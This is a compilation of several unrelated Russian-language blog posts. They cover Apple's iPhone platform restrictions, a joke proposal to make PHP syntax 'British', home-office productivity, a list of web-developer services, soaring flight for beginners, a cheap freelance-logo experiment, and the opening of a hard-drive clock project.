А раз так, то каждый разработчик, создавший приложение для iPhone (например), просто обязан подумать о выпуске его на других мобильных платформах с минимальными телодвижениями.
Это же совершенно ясно! Идеальный вариант для разработчика — написать приложение, тыкнуть кнопку «получить версии для разных устройств», и счастливо зарабатывать на результате. Любые различия платформ порождают массу проблем с разработкой и поддержкой кода! Только представьте, что вам приходится переписывать вашу игру с ActionScript на С++, Java, Objective-C… а потом ещё и сопровождать все четыре версии кода, параллельно улучшая, исправляя ошибки и т.д.
Поэтому индустрия разработки ПО всегда поощряла создание инструментов для быстрого переноса приложений с одной платформы на другую с минимальными доработками. Примеров — масса: Java, Mono, OpenGL, Qt, HTML, CSS, JavaScript… этот список можно продолжать очень долго.
Совершенно очевидно и то, что разработчики платформ не заинтересованы в переносимости. Каждая программа для платформы — это конкурентное преимущество («Не сяду за ваш Linux, на нём Photoshop не работает»). Цель создателей платформ — максимально затруднить перенос программ на другие платформы.
И вот теперь я приведу цитату из блога Ильи Бирмана:
Кто не в курсе, на днях Эплы внесли изменения в соглашение разработчика, в соответствии с которыми программы для Айфона должны быть изначально написаны на ObjC/C/C++ и скомпилированны эпловскими стандартными средствами.
Лично я ждал этого уже давно. Apple может рассуждать про юзабилити, про полноценное использование возможностей платформы, быдлокодеров на Flash (как будто где-то их нет) и т.п. Они могут ругать Adobe за качество, но истинная причина — совсем не в этом. Истинная причина — заставить разработчика выбрать одну платформу, самую популярную на тот момент времени, и потом максимально усложнить перенос приложения на другую. И взбудоражил Apple не только новый компилятор Flash, но и появление MonoTouch, и прочих подобных инструментов, которые уже начали расти, как грибы после дождя.
Итог
В поведении Apple нет ничего необычного — это просто бизнес, им надо максимизировать прибыль. К любому поведению можно придумать мотивы, но в бизнесе вероятнее всего окажутся денежные.
P.S. Мы должны понимать, что в перспективе такой бизнес приводит к снижению конкуренции, росту цен, и застою в развитии технологий. Поэтому, лично я купил HTC Hero, на базе Android.
Когда Расмус Лердорф впервые собрал PHP, он решил, довольно предусмотрительно и невзирая на свои корни, не использовать в нем датский или даже гренландский. Кстати, правильно сделал, иначе было бы крайне неприятно с ним работать. Взамен он, находясь в этот момент в Канаде, выбрал местный язык. Нет, не французский, а именно этот идиотский диалект Королевского Английского, который еще называют «US English».
С тех пор британские разработчики на PHP выказывали свое недовольство по отношению к этому факту. О чем он думал? И, что самое важное, как нам исправить это надругательство? Как нам разработчикам проследить за тем, чтобы традиции Британской Империи соблюдались и в цифровую эпоху?
По наглой рыжей морде
$variable_name
Перво-наперво, и конечно же это и самое главное изменение из всех, что позволит достичь PHP элегантности — это удаление столь любимого в США символа и замена его чем-то более подходящим. Более стойким и … более надежным (прим. пер. тут имеет место игра слов, т.к. sterling — это как фунт стерлингов, так и надежный).
£variable_name
Аббревиатуры
Ничто так не ненавистно британцам, как аббревиатуры. Общение сокращениями — это неслыханно для улиц Лондона, т.к. ни один урожденный грамматик Британии не согласится использовать сокращения для отправки даже текстовых сообщений, таких как «До скор., дорога ОК, Спс, ББ!», а с большим удовольствием отпишет изысканное произведение в духе «Глубокоуважаемый сэр. Я прибуду, настолько быстро, насколько мне позволит это сделать время, а судя по моим наблюдениям — это произойдет примерно через час. Обещаю, что лошади будут скакать всю дорогу без устали и отдыха. С глубочайшим уважением.». Так, конечно, писать дольше, но мы же никуда не торопимся.
PHP же в свою очередь кишит аббревиатурами и акронимами, что совершенно не нужно:
str_replace()
is_int()
var_dump()
preg_match()
json_encode()
mysql_connect()
Следующие изменения должны улучшить ситуацию:
string_replace()
is_integer()
variable_dump()
perform_a_regular_expression_match()
javascript_object_notation_encode()
my_structured_query_language_connect()
Красноречие
if ($condition) {
// Code here
} else {
// Code here
}
Шекспир сгорел бы от стыда, если бы узнал, как его язык извратили, превратив в такое уродство. Краткость приветствуется только в правильном контексте, т.е. где-то в очень дальней дали, где ее будет не разглядеть, но не в нашем случае. Блок if … else — самый часто используемый код в PHP, поэтому мы должны сделать его как можно более безобидным. Вариантов его замены тьма-тьмущая, но я предлагаю такой:
perchance (£condition) { (пер. может быть)
// Code here
} otherwise { (пер. в противном случае)
// Code here
}
Произношение
imagecolorallocate()
serialize()
newt_centered_window()
connection_status()
Здесь у меня меня просто не хватает слов. Какой уважающий себя джентльмен будет ожидать, что его поймут, если он так говорит. С трудом верится, что кто-то может настолько исказить слова, используемые в языке программирования. Они будут исправлены на следующие варианты, наравне с бесчисленным множеством схожих ошибок:
imagecolourallocate()
serialise()
newt_centred_window()
connexion_status()
Манеры
try {
// Code here
} catch (Exception $e) {
// Handle exception
die('Message');
}
Удачный пример отсутствия каких-либо манер в PHP — это блок try … catch. Слишком уж прямолинейно для нового PHP. В дополнение ко всему слово «die» (пер. умри) слишком уж депрессивное. Новый же блок является, хотя и излишне многословным, но все же более вежливым и оптимистичным:
would_you_mind { (пер. вы не против)
// Code here
} actually_i_do_mind (Exception £e) { (пер. вообще-то против)
// Politely move on
cheerio('Message'); (пер. всего хорошего)
}
Классы
Вероятнее всего, нет ничего более важного и укоренившегося в психологии Британцев, чем классы, и, пока все еще есть такая возможность исправить эту часть PHP, сделать это крайне необходимо:
class Republic {
public $a;
private $b;
protected $c;
}
$example = new Republic;
Начнем с того, что текущая система не предназначена для классовой иерархии, и это неприемлемо. Поэтому мы начнем распределять классы по конкретным уровням: верхний, средний, рабочий, и ни один класс не сможет получить доступа к методам вышестоящего класса без специального разрешения этого класса (и, хотя, он и будет иметь это разрешение, это совершенно не будет уравнивать их, таким образом лишая права передавать эти права каким-либо иным нижестоящим классам). «Публичный» и «Приватный» в Британской классовой системе чаще всего являют собой синонимы (посмотрите, например, на номенклатуру школьного образования), потому они должны быть изменены, как и «Защищенный». Слово «new» (пер. новый), хотя и является допустимым, все же должно быть заменено на более подходящее для классовых вопросов:
upper_class Empire { (пер. высший_класс)
state £a; (пер. общественный)
private £b; (пер. частный)
hereditary £c;   (пер. наследуемый)
}
£example = nouveau Empire; (пер. новый)
Солнце никогда не заходит…
Есть надежда на то, что эти несколько простых изменений изменят репутацию и статус PHP среди других языков. Более он не будет считаться бедным двоюродным братом американцем, вместо этого он сможет занять свое законное место Британского языка — Короля скриптовых языков.
Когда я только перешёл от офисной работы к домашней, первое время был на седьмом небе от счастья. С ума сойти – можно спать столько, сколько хочется! Можно работать тогда, когда есть «стих», а когда его нет – ходить дышать воздухом и развлекаться так, как только в голову придёт. Не счастье ли это? Примерно полгода я провёл в таком состоянии постоянного кайфа, а потом постепенно начал привыкать. А дальше началось то, что обычно бывает у большинства узников «домашнего офиса». И вот, через полтора года такой жизни я задался вопросом – а так ли уж хороша она у меня, как казалась вначале?
Итак, к чему я пришёл за полтора года «свободной» жизни:
— Поскольку задачи перед собой я ставил самостоятельно, а никаких ограничений по времени не было (можно ведь и ночью работать, на себя-то!), то их количество в «поминальнике» превысило все разумные пределы. И они всё прибывали.
— Рабочий день не прекращался никогда – только продрав глаза, я уже оказывался на рабочем месте, а уйти с него мешало большое чувство вины и ответственности перед тем громадным списком задач, которых сам себе наставил.
— При этом, количество дел, которое реально удавалось сделать в течение этого невероятного рабочего дня, оказывалось на удивление скромным. Чем я занимался все эти долгие 16 часов «свободного рабочего времени»?
Критический подсчёт рабочего времени принёс неутешительные результаты. Компьютер, моё рабочее место, оказался и главным препятствием в работе. Как не почитать свежую подборку историй или анекдотов? Их, правда, до фига, но ведь весело же!
Опять же новости – мне интересно, что делается в мире, поэтому пара-тройка новостных сайтов каждый день приветствует меня в своих объятиях. А под статьями на них еще и обсуждения бывают. Часто, правда, тупые и бессмысленные, но тоже как-то затягивает. Хочется дочитать до конца и всё-таки узнать, за кем последнее слово осталось.
Форумы по специальности – надо знать, чем братья по профессии дышат. Самому что-то туда написать – святое дело!
Разные всякие рассылки и RSS – столько там всего интересного!
А ещё есть почта – текущая рабочая (её очень много) и личная – а я люблю писать письма длинные, интересные!
Вот только всеми проклинаемая за пожирание времени аська в этом списке не засветилась, тогда я ей практически не пользовался, не то что сейчас… :)
Короче, итог оказался печален – большую часть времени я страдаю натуральной фигнёй, не дающей мне ничего, но зато много отнимающей: деньги, потому как работа не делается; здоровье, поскольку 16-ти часовое сидение за очком монитора без последствий не проходит; счастье, потому что с чего тут счастливым-то быть? Без денег и здоровья?
Озверев от такого понимания, я решился на экстремистские меры. На стол был установлен будильник, а домашним было объявлено, что теперь я снова с ними, за исключением двух часов в сутки.
Весь день кроме этих двух часов я не прикасался к работе. И бросал её в любом месте, когда два часа истекали. И жил так примерно неделю. Итог был шокирующим – за два часа я успевал существенно больше, чем за шестнадцать! Понимание того, что время не резиновое, что оно вот-вот кончится, напрочь отсекало все желания отвлечься хоть на минуту. За эту неделю я переделал кучу того, что висело тяжким грузом уже по несколько месяцев. Конечно, были и дела, которые невозможно втолкнуть в два часа. Всё, что требует вдумчивости, аналитичности, какие-то принципиально не ускоряемые вещи (нельзя, например, набирать текст быстрее, чем умеешь) и т.д. Всё это либо делилось на куски, либо откладывалось. Но итог от этого не менялся – сокращение рабочего времени в восемь раз привело к резкому увеличению эффективности его использования.
Потом я постепенно вернулся к прежней жизни. К любимым анекдотам, новостям, почте. Но когда чувствую, что меня начинает заваливать текучка – вспоминаю об этом эксперименте и принимаю то самое парадоксальное решение: не добавить пару часиков на «разгребание», а наоборот – сократить свой рабочий день, ограничить его конкретными жесткими рамками, за которые – ни-ни. И «завалы» начинают волшебным образом таять…
Хочу поделиться ссылками на несколько полезных сервисов. Некоторые из них помогут сэкономить время, другие — сделают за Вас незнакомую/нелюбимую работу. Список разбит по категориям, чтобы было легче ориентироваться. Другие сервисы приведены в посте Упрощение жизни разработчика с помощью сторонних сервисов.
Сервисы опросов
simpoll.ru
anketer.ru
userreport.com (добавил Romanych)
webanketa.com (добавил mihass)
Конечно, у большинства CMS есть плагины для реализации опросов, но можно воспользоваться и сторонними сервисами с удобной админкой, наличием большого количества настроек и удобным выводом результатов.
Кнопки постинга в социальные сети
Кнопка от Яндекса
addthis.com (добавил UksusoFF)
share42.com
Блок «Поделиться» от Яндекса сейчас становится всё популярнее. Кнопка очень удобная, ничего лишнего. То же самое можно сказать и об addthis. Если же хочется чего-то другого, то можно воспользоваться третьим сервисом.
Онлайн-общение с посетителями
cloudim.ru (добавил AlexoLive)
consultsystems.ru (добавил serzhb)
krible.ru
zopim.com
olark.com
liveperson.com (добавил a1exis)
siteheart.com (добавил Alex_EXEcuter)
onicon.ru (добавил Aco)
p3chat.com (добавил risotto)
webim.ru (добавил shimapa23)
jivosite.ru (добавил access)
mibew.org (добавил Romanych)
livezilla.net (добавил xaker1)
sitehelp.inkiev.net (добавил ilesik)
marva.ru (добавил Idiff)
gotalk.ru (добавил shandor)
netroxsc.ru (добавил Manimal)
zingaya.com (добавил psserg) — позволяет звонить прямо с сайта
Если вдруг появилась необходимость, чтобы посетители могли связаться с Вами в on-line режиме, можно не строить собственное решение, а воспользоваться готовым.
Генераторы прелоадеров
preloaders.net
ajaxload.info
loadinfo.net
webscriptlab.com
Нашёл 4 хороших сервиса для генерации прелоадеров (индикаторов загрузки). Первые два, по-моему, наиболее удобны.
Генераторы надписей
cooltext.com
web2.0stylr.com
creatr.cc
simwebsol.com
Если Вы не особо дружите с графическими редакторами или хотите сэкономить время, то эти сервисы для Вас.
Генераторы кнопок
cssbuttongenerator.com
css3buttongenerator.com
css-tricks.com/examples/ButtonMaker
cssbutton.me (добавил Defite)
super.hubspot.com/buttons
Первые 4 сервиса создают кнопки при помощи CSS. Пятый генерирует JavaScript-код, что, возможно, подходит не всегда, но зато этот подход экономит время.
Генераторы фонов
patternizer.com/vh4 (добавил Londeren)
display-inline.fr (добавил Londeren)
creatr.cc/backgrounds
bgpatterns.com
Опять для тех же, кто не является дизайнером, но хочет себе хороший фон.
Генераторы иконок
iconizer.net
findicons.com (добавил Paskal)
iconfinder.com (добавил hormold)
iconza.ru (добавил greyhard)
faviconist.com (добавил DreamWalker)
генератор и архив фавиконок (добавил Grifon)
Шесть полезных сервисов. Необязательно хранить у себя на компьютере множество иконок, достаточно лишь зайти на эти сайты и подобрать нужные иконки с требуемыми характеристиками.
Оптимизация изображений
smushit.com/ysmush.it
punypng.com
kraken.io
За все три сервиса спасибо Lorents.
Тестирование сайта
просмотр ответа и заголовков HTTP-запроса (добавил msfs11)
JSON Formatter & Validator (добавил msfs11)
The JSON Validator (добавил Grifon)
browsershots.org, multibrowserviewer.com (добавил BugZ) и browserlab.adobe.com (добавил betaboy) — для просмотра сайта в различных браузерах.
создание скриншотов (добавил Begetan)
просмотр сайта в разных разрешениях (добавил BugZ)
тестирование .htaccess (добавил student_ivan)
проверка скорости загрузки сайта (добавил Albertum)
нагрузочное тестирование сайта (добавил Albertum)
мониторинг состояния приложений (добавил Kane)
тесты для сайта и сервера (добавил websitepulse)
проверка сервера на доступность из разных точек мира (Ping, DNS, HTTP, TCP порт) (добавил withlove)
проверка скорости загрузки сайта в реальных браузерах (из разных точек мира) (добавил withlove)
GTmetrix (добавил Андрей М.)
Тестирование регулярных выражений
gskinner.com/RegExr (добавил student_ivan)
rubular.com (добавил aratak)
regexpr.ru (добавил grimich)
myregexp.com (добавил msfs11)
txt2re.com (добавил shifty)
regexpal.com (добавил maruan_a)
Полезные сервисы, которые пригодятся не только веб-программистам.
Определение мобильности браузера
Яндекс.Детектор
detectmobilebrowsers.com (добавил student_ivan)
Песочница для HTML/CSS/JS
cssdesk.com (HTML+CSS)
jsfiddle.net (HTML+CSS+JS+фреймворки)
За оба сервиса благодарить Desiderata.
приложения для Chrome (добавил Андрей М.)
Другое
wysiwyg-построитель форм
подбор гармонирующих цветов (добавил hashspark)
работа с цветом (добавил Kane)
кросс-браузерный CSS3-градиент (добавил DimICE)
Ultimate CSS Gradient Generator (добавил shifty)
подбор цветовых схем (добавил kvasko_linuxoid)
CSS3 tools (добавил Kane)
генератор кросс-браузерных правил CSS3 (добавил nikolaykhl)
поддержка стандратов браузерами (добавил Kane)
конвертер в Data URI (добавил Kane)
online JavaScript beautifier (добавил mrShadow)
сжатие XML (удаление пробелов, комментариев) (добавил mrShadow)
html5 для IE (добавил DimICE)
генератор base64 изображений (добавил Punk_UnDeaD)
генератор бейджиков
генератор табов
генератор шаблонов страниц
простой генератор баннеров (добавил Finar)
заглушки для баннеров (добавил skipfish)
конструктор веб-форм и баз данных (добавил MyTaskHelper)
сбор и управление идеями (добавил SSM)
проверка django-проектов на GitHub (добавил hellhorse)
решение Google для загрузки шрифтов (добавил hellhorse)
html5 для IE (добавил DimICE)
качественный пагинатор (добавил hellhorse)
generate Facebook likes using QR codes (добавил hellhorse)
плеер для сайта (добавил hellhorse)
построитель графиков (добавил BorodinKO)
Вот и всё. Думаю, эти сервисы будут полезны тем, кто о них ещё не знал.
В комментариях привели ссылки на другие сборки полезных сервисов. Если чего-то здесь не нашли, можете поискать на следующих страницах: раз, два, три, четыре, пять, шесть. Добавили: BugZ, Santacruz, Webtun, hellhorse.
UPD: Спасибо всем, кто дополнял список.
Мое детство прошло среди людей которые все время на чем то летали. Строили, разрабатывали новое и тут же на нем летали. В 5 лет для меня стало открытием, что кто то в этом мире может не летать. К своим 26 годам я успел попробовать почти все на чем можно летать. Хочу поделиться своим опытом и рассказать о доступных возможностях.
Что бы начать летать у Вас есть такие варианты:
1. Парители (в этой статье)
- Параплан
- Дельтаплан
- Планер
2. Моторный полет (вторая статья)
- Легкий самолет
- Мотодельтаплан
- Паратрайк
- Парамотор
- Мотопланер
Принцип парящего полета основан на существовании восходящих потоков воздуха. Как ветер, только прямо вверх. Задача пилота — найти такой поток воздуха и находиться в нем некоторое время что бы набрать высоту, а потом лететь к следующему потоку. И так в цикле.
Главное преимущество парителей — это полет без использования топлива. Нужна только стартовая энергия для набора начальной высоты. Однако, это и накладывает ограничения. Для взлета нужно где то взять начальную энергию. Взлететь можно или с горы, или с помощью лебедки, или за другим, моторным, летательным аппаратом.
Одна из основных характеристик любого летательного аппарата — это качество. А для парителей это самая главная характеристика. Эта величина определяет сколько километров можно пролететь снизившись на 1км. Обычно эта величина от 3 до 60. Т.е. находясь на высоте 1000 метров можно пролететь до 60км по прямой. (в абсолютно идеальных условиях и на определенной скорости)
Стереотипы о парящих полетах
- Летать опасно.
Опасно переходить дорогу в не положенном месте т.к. вас может сбить автомобиль. А в воздухе все зависит только от вас.
- В воздухе можно столкнуться с другим летательным аппаратом или птицей.
Это возможность существует, но ее вероятность настолько мизерна, что случаи таких столкновений можно пересчитать по пальцам. Один из самых известных — жив, цел, орел. Вероятность столкновения с другим летательным аппаратом зависит от кол-ва этих аппаратов вокруг вас.
- Очень сложно взлетать и приземляться
Да, это самая сложная часть полета, но не сложнее чем проехать нерегулируемый перекресток на автомобиле. Однако, тут все зависит от выбранного вами летательного аппарата. Для парапланов и дельтапланов это существенно сложнее чем для планера.
- Нужно очень долго учиться что бы начать летать самостоятельно
Учиться нужно, но не больше чем на автомобильных курсах. Даже меньше т.к. в воздухе нет ГАИшников и дорожных знаков. А вот что бы отлететь от места взлета куда-нибудь, уже нужно учиться существенно больше.
- Без ветра нет полетов
Ветер практически не связан с возможностью летать. Полет происходит за счет вертикальных воздушных потоков.
- Без мотора долго и далеко летать нельзя
На равнине при нормальной погоде можно летать весь световой день. В горах можно летать вечно т.к. существуют потоки обтекания гор. В свой первый летный год, в Киеве, на планере я, однажды, за день налетал 6 часов без перерыва. Можно было и дольше, но сил уже не было.
- Если в воздухе что то сломается и шансов спастись нет.
Конструкция настолько проста, что ломаться в ней, при нормальных нагрузках, почти нечему. Электрические системы являются вспомогательными и их отказ не критичен для полета. Ни один прибор не является жизненно необходимым. Взлететь и приземлиться можно вообще без приборов. К тому же, всегда есть спасательный парашют для непредвиденных ситуаций.
- Это реально экстрим
Смотря что понимать под экстримом. Вся авиация строится на безопасности полетов и минимизации экстрима. Если вы научились взлетать и тут же полетели по маршруту, то это не экстрим, а дурость. Слушайте опытных пилотов, читайте описание летных происшествий других пилотов и не нарушайте законы аэродинамики, и будете летать безопасно.
- Это очень дорого
В реальности это стоит от 50у.е./ мес. Свой летательный аппарат не всегда нужно покупать. Аренда зачастую выгодней.
Параплан
Факты
- Скорость полета от 20 до 70 км/ч.
- Конструкция только из ткани. Его прародителем был парашют.
- Вес пилота от 40 до 130 кг.
- Вес параплана с оборудованием около 15кг.
- Рекорд мира на дальность(по ветру) 502км.
- Рекорд по треугольному маршруту с возвращением на место старта — 118 км.
Плюсы
- Ощущение свободного полета, когда ветер прямо в лицо.
- Очень компактен. Помещается в большой рюкзак с которым даже в общественном транспорте можно проехать.
- Нет волокиты с документами и медкомиссиями.
- Весьма зрелищно и впечатлительно.
- Можно летать без посторонней помощи. Взял и полетел. Приземлился где-нибудь, собрал все в рюкзак и поехал на маршрутке домой.
- Поломать сложно. Можно порвать.
- Посадка вне аэродрома не проблема. Можно сесть куда угодно.
Минусы
- Взлет/посадка с ног. Риск травмы.
- Крыло без труб. Это означает, что теоретически оно может схлопнуться в воздухе. Впрочем, раскрыть его возможно =)
- Очень маленькая скорость полета. Летать против ветра фактически не реально (за исключение полетов в горах).
- Взлет только с горы или с помощью буксировки. Взлетать самостоятельно с равнины невозможно.
- Нет кабины. Чем выше вы летите, тем холоднее.
Бюджет
- Покататься в тандеме. Стоит около 50$.
- Обучение проходит на маленьких горках на клубной технике от 50$ в месяц.
- Себе можно купить б/у за 500-1000$.
- Спортивный параплан стоит около 2500$.
Рядовой полет на параплане в Крыму
Еще фото параплановНа земле, перед взлетом
Транспортировка в сумке
Полет вдвоем (тандем)
Дельтаплан
Факты
- Скорость полета от 30 до 120 км/ч.
- Треугольной формы, из металлических труб и ткани.
- Длинна сложенного от 2-х метров (обычно складывают в 6-и метровый пакет). Вес — от 25кг.
- Вес пилота от 40 до 130 кг.
- Рекорд мира на дальность(по ветру) 700км.
- Рекорд по треугольному маршруту с возвращением на место старта — 357км.
Плюсы
- Ощущение свободного полета, когда ветер прямо в лицо.
- Легко перевозится автомобилем.
- Легко ремонтируется.
- Нет волокиты с документами и медкомиссиями.
- Лететь против ветра возможно, но сложно.
- Посадка вне аэродрома не проблема. Можно сесть куда угодно.
- Можно летать без помощи клуба. Взял и полетел. Но кто то должен вас забрать на машине, если вы приземлитесь вне аэродрома.
- Спортивные дельтапланы крутят некоторые фигуры высшего пилотажа.
- Зрелищно.
Минусы
- Взлет/посадка с ног. Высокий риск травмы.
- Для взлета нужна или гора или буксировщик. С равнины самостоятельно взлететь невозможно.
- Большая нагрузка на плечи и спину. Не верьте песне Леонтьева “И как легко моим плечам”. Он явно никогда не таскал дельтаплан на себе.
- Обучение проходит практически самостоятельно лишь слушая советы инструктора. Тандемные (вдвоем) полеты существуют, но довольно сложны для обучения.
- Ввиду специфики расположения пилота постоянно приходится напрягать шею.
- Транспортировка только на авто. Общественным транспортом возможно, но очень сложно.
- В первые годы налет очень маленький.
- Легко поломать. Большинство проблем можно устранить самостоятельно, но некоторые детали приходится заказывать у производителя.
- Нет кабины. Чем выше вы летите, тем холоднее.
Бюджет
- Разово покататься можно в тандеме. Около 80$.
- Обучение проходит на клубной технике. Для СНГ порядка 50$/мес.
- Собственный б/у дельтаплан можно купить за 500$-1000$.
- Спортивный дельтаплан стоит около 4000$.
Обычный полет в горах
Еще фото дельтаплановВзлет
Спортивный дельтаплан
Полет вдвоем (тандем)
Учебный дельтаплан
Транспортировка дельтаплана
Планера
Факты
- Металлическая или пластиковая конструкция. Использования ткани — минимально.
- Самый древний из летательный аппаратов. Любой самолет является ни чем иным, как планером с мотором.
- Скорость полета от 50 до 300 км/ч.
- Вес пилота от 50 до 130 кг.
- Рекорд мира на дальность —
2256.9км 3009км.
- Рекорд по треугольному маршруту с возвращением на место старта — 1756км.
- Большие самолеты тоже умеют быть планером. Например раз и два.
Плюсы
- Безопасный. Человек находится в закрытой кабине. Взлет и посадка происходит на шасси.
- В этом спорте нет ограничения по возрасту и состоянию здоровья.
- Доступный для обучения. Много двухместных планеров, на которых и проходит обучение. Управление полностью дублировано у обоих пилотов.
- Большое кол-во клубов в СНГ, которые существуют благодаря технике и кадрам из СССР.
- На планерах крутят почти все фигуры высшего пилотажа.
- Взлет и посадка только с аэродрома или ровного поля. Взлет с горы не практикуется.
- Далеко и быстро летит. Ветер не особо влияет не возможности планера.
- Комфортабельность полета. Сидеть в планере комфортнее чем в кресле.
Минусы
- Во всем мире, кроме СНГ, это элитный и дорогой вид спорта.
- Посадка вне аэродрома требует хорошо подобранного поля. Сложность с эвакуацией планера, в случае посадки вне аэродрома.
- Летать без поддержки клуба можно только на планере с мотором.
- Зрелищно не более чем игра в шахматы. Т.е. если вы понимаете что происходит, то можете восхититься. Бывают исключения.
- Много работы или денег нужно вкладывать в клуб (аэродром, клубная техника)
- В СНГ планеризм не поставлен на коммерческие рельсы, поэтому существует за счет энтузиастов и техники из СССР. Соответственно, понятие “клиент” для тех кто хочет научиться летать только формируется.
- Что бы летать самостоятельно нужно или получать “права” на планер или летать в клубе на клубной технике и вести кучу документации с этим связанной.
- Есть медкомиссия.
- Чем дороже планер, тем сложнее и дороже его ремонт.
Бюджет
- Покататься можно за 80$-100$. Пилотаж с недавнего времени на учебных планерах запрещен, но прошлые 30 лет крутили.
- В СНГ обучение стоит около 200$/мес + работа по обслуживанию клуба. Чем опытнее пилот, тем дешевле.
Есть понятие VIP обучения. За 500$/мес можно летать по максимуму и ни на что не отвлекаться.
- Купить б/у учебный, двухместный планер можно за 4000$-8000$.
- Спортивный б/у планер без мотора стоит от 10 000$.
- Планер с мотором стоит от 30 000$ до 400 000$.
Обычный полет на планере
Еще фото планеровСпортивный планер
Телега для транспортировки разобранного планера
Соревнования
Выводы
Все представленные летательные аппараты полностью зависят от погоды. Перелететь из пунка А в Б сложно. Всегда есть риск приземлиться где-нибудь посередине. Это хобби, которое позволяет ощутить вкус свободного полета и посмотреть на землю с высоты. Парящие полеты не могут наскучить — это каждый раз нестандартная задача.
Хотите летать безопасно, высоко и с комфортом — выбирайте планер.
Хотите экстрима и ветра в лицо — дельтаплан или параплан.
В любом случае, попробовать можно все.
Дополнение к выводам после комментариев.
Безопасный полет — это следование правилам которые написаны в книгах по организации полетов и собственная ответственность за свои поступки. Если вы учитесь летать не читая книг, не изучая принципов аэродинамики и метеорологии, то летать вы будете наугад. И когда-нибудь вам не повезет. Можно летать безопасно на любом летатательном аппарате, если следовать инструкциям по организации полета и предполетной подготовки. На параплане — проще всего нарушить эти правила т.к. существует иллюзорная простота управления и чаще всего нарушаются принципы организации полетов. На планерах вам не дадут начать летать самостоятельно пока у вас не будет гарантированного минимума знаний, который будет подкреплен контрольными полетами с инструктором.
Парапланеризм и дельтапланеризм, как увлечение выходного дня — занятие достаточно безопасное и бюджетное для среднего класса. Однако, на этапе обучения случаются травмы. Как спорт — это экстремальные виды спорта. Это весьма опасно, и только для тех, кто к этому готов.
Планеризм — это не экстремальный вид спорта. Травматизм — футбол во время ожидания погоды.
Летные происшествия — есть, были, и будут как и не расчетные ситуации в полете. Но это таки соизмеримо с вероятностью автомобильной катастрофы.
А вот ежедневное 12 часовое сидение за компьютером гарантированно приведет к необратимым травмам сердечно-сосудистой системы. Их не видно до поры до времени, а потом, как правило «поздно пить боржоми».
Мое личное, весьма субъективное, мнениеЯ знаю много людей которые летали на дельтапланах и парапланах, но перешли на планера. И не знаю ни одного, кто перешел бы с планеров на дельтапланы или парапланы. В СНГ сложилась уникальная ситуация, когда есть много опытных инструкторов и нормальной техники, и можно летать на планере жутко дешево. Мне 5 месяцев полетов на планере (в Киеве) обходятся в 1000$, при этом за мной закреплен планер, который я не покупал и не планирую покупать.
Мне всегда было интересно поставить себя на место заказчика, который хочет очень дешёво и очень быстро. Что мешает провести эксперимент?
Иду на free-lance.ru — самое крупное сообщество фрилансеров. Регистрируюсь таким образом, что остаюсь фактически анонимным. Далее составляю объявление для публикации:
Нужен к завтрашнему дню логотип для центра нелегальной иммиграции. Никакой другой информации, кроме названия нет. Название: Транскордонсервис. Присылайте варианты с номером WMR по адресу xxx@xxx.xx. Оплата по факту принятого варианта. Логотип нужен очень срочно!!!!!
На мой взгляд слишком красиво для ошпаренного кипятком клиента. Для аутентичности я бы набил всё капсом, без знаков препинания и с ошибкам. Впрочем, не будем переигрывать.
Определяю бюджет: 108 рублей (3 доллара США).
Перед публикацией объявления администрация ресурса предлагает платное размещение за 85 баксов. Якобы, «чтобы Ваш проект увидели те, кого Вы ищете». Для чистоты эксперимента, отказываюсь от этого заманчивого предложения. Хотя шутка получилась бы отличная: потратить на размещение объявления в 30 раз больше, чем на разработку.
Объявление размещено в ленте. Можно пойти попить чаю, но какая-то внутренняя сила заставляет обновить страницу. И… о ужас! Объявления уже нет. Удалено. Неужели бюджет слишком маленький? Неужели модератор дал отпор бессовестному скряге? Даю слабину и увеличиваю бюджет до 150 рублей (чуть больше 4 долларов США). Размещаю заново.
Объявление второй раз в ленте. Уже не до чая. Нервно щелкаю «Обновить». Есть ответ! Кто-то готов работать, но через секунду объявление опять убивается. Что ж такое? Неужели смущает род деятельности компании? Может, противоречит законодательству? «И в третий раз старик закинул невод»… а также написал гневное письмо в службу поддержки с просьбой пояснить поведение модератора.
Объявление в третий раз всплывает в ленте и снова удаляется. Похоже, эксперимент провалился, так и не начавшись. Но нет! Зерно упало на благодатную почву.
Через 34 минуты после публикации объявления в почтовый ящик сваливается первый вариант логотипа. Логотип тут же утверждается без правок и оплачивается.
Через 44 минуты после публикации объявления в почтовый ящик сваливается второй вариант логотипа. Логотип утверждён без правок и оплачен.
Приходит ответ от администрации ресурса на мой гневный запрос:
Конкурсы можно размещать только в определенном — платном разделе. Стоимость организации конкурса — 85FM.
Нет, не волнуют администрацию ресурса законодательство, этика и бессовестная эксплуатация дешёвой рабочей силы. Её волнует, как бы клиент мимо платных сервисов не проскочил.
Через 1 час 20 минут в почтовый ящик падает ещё четыре варианта логотипа. Дизайнер не согласился отдать все четыре по цене одного. Пришлось выбрать один вариант. Утверждён без правок, оплачен.
Наконец, на следующий день прислали ещё один вариант логотипа. Утверждён без правок, оплачен.
Результат
Опубликованное 3 раза объявление находилось в ленте в общей сложности около 5 минут (по 1—1,5 минуты за раз). Несмотря на отказ воспользоваться платным сервисом, в течении этого короткого времени объявление «увидели те, кого искал» вымышленный заказчик.
При бюджете 150 рублей получено 7 вариантов логотипа от 4 дизайнеров. Первый вариант был сделан за полчаса. 2 варианта были сделаны за 45 минут. 6 вариантов были сделаны меньше чем за 2 часа. Все варианты были сделаны без предоплаты и без каких-либо документально зафиксированных гарантий оплаты по факту выполненных работ. Исполнитель не знал даже настоящего имени заказчика. Дизайнеры готовы были работать без технического задания, зная только название и несуществующий род деятельности.
Upd: Лого номер один (зверь в каске) является коллажем из клипартовских изображений для программы CorelDraw
Когда говорят, что устройство работает «как часы», то подразумевают, что это значит очень стабильно и надежно. Все мы мечтаем, чтобы с нашими «винчестерами» ничего плохого не случалось, но они любят отказывать самым непредсказуемым образом. Один такой свой диск я переделал, так что он теперь буквально работает как часы. Идея сделать устройство посетила после посещения выставок, где видел похожие рекламные девайсы. Мозг сверлила назойливая мысль — «неужели не смогу»?
Жесткие диски разбирал не в первый раз. Сначала из интереса — а как там все устроено? Потом при уничтожении старых компьютеров — параноидальная забота о безопасности начальства требовала непременного приведения в негодность совершенно исправных (правда, устаревших) дисков. Ну и попытки сделать из двух дохлых «винтов» один тоже делались, но часто неудачно. Теперь предстояло подобрать кандидата на «реинкарнацию». Работал тогда админом, поэтому было из чего выбрать. Уже и не помню, какой диск подвергся переделке (шел 2004 год), кажется это был Fujitsu.
